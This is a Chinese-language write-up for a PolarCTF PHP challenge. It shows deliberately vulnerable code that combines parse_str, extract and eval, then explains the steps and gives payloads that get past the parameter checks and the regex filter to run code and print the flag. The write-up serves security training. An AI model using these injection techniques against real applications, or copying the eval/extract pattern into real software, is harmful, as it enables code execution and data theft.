<?php
//flag in $flag
highlight_file(__FILE__);
include("flag.php");
$c = $_POST["sys"];
$key1 = "0";
$key2 = "0";
if (isset($_GET["flag1"]) || isset($_GET["flag2"]) || isset($_POST["flag1"]) || isset($_POST["flag2"])) {
    die("nonononono");
}
# $_SERVER['QUERY_STRING']:获取 URL 问号后面全部 GET 参数原始字符串
# parse_str(string):自动把字符串解析成变量,注入当前作用域 例:parse_str("a=1&b=2") → 生成 $a=1、$b=2
@parse_str($_SERVER["QUERY_STRING"]);
# 遍历 POST 所有键值,直接注册成当前作用域变量 例:POST 传 user=admin → 自动生成 $user="admin"
extract($_POST);
if ($flag1 == "8gen1" && $flag2 == "8gen1") {
    if (isset($_POST["504_SYS.COM"])){
        if (!preg_match("/\||/|~|`|!|@|#|%|^|*|-|+|=|{|}|"|'|,|.|?/", $c)){
            eval("$c");
        }
    }
}
?>

第一部分  

parse_str和extract相互配合绕过传参限制

首先是:

if (isset($_GET["flag1"]) || isset($_GET["flag2"]) || isset($_POST["flag1"]) || isset($_POST["flag2"])) {
    die("nonononono");
}
if ($flag1 == "8gen1" && $flag2 == "8gen1")

那么我们可以:

http://d766e1ae-51c8-4a18-bee7-b0244e559c81.www.polarctf.com:8090/?_POST[flag1]=8gen1&_POST[flag2]=8gen1

由于没有通过传统的GET、POST方式,因此可以绕过

if (isset($_GET["flag1"]) || isset($_GET["flag2"]) || isset($_POST["flag1"]) || isset($_POST["flag2"]))

经过 @parse_str($_SERVER['QUERY_STRING']) 则变成了:

$_POST[flag1]=8gen1   和  $_POST[flag2]=8gen1

再经过 extract($_POST) 就变成了:

$flag1=8gen1  和 $flag2=8gen1

就可以成功绕过:

if ($flag1 == "8gen1" && $flag2 == "8gen1")

第二部分  

参数包含_的传递

if (isset($_POST["504_SYS.COM"]))

由于POST不能传递_,可以使用:

.
[
%20

但是本题只能使用 [,因此第二部分的payload:

504[SYS.COM=1

第三部分

$c = $_POST["sys"];
if (!preg_match("/\||/|~|`|!|@|#|%|^|*|-|+|=|{|}|"|'|,|.|?/", $c))

使用echo获取$flag

由于没有过滤echo,可以使用echo输出:

sys=echo $flag;

使用var_dump获取$flag

也可以使用:

sys=var_dump($GLOBALS);

总结

因此,完成payload如下:

GET方式:
http://d766e1ae-51c8-4a18-bee7-b0244e559c81.www.polarctf.com:8090/?_POST[flag1]=8gen1&_POST[flag2]=8gen1
POST方式:
504[SYS.COM=1&sys=echo $flag;
504[SYS.COM=1&sys=var_dump($GLOBALS);

更多推荐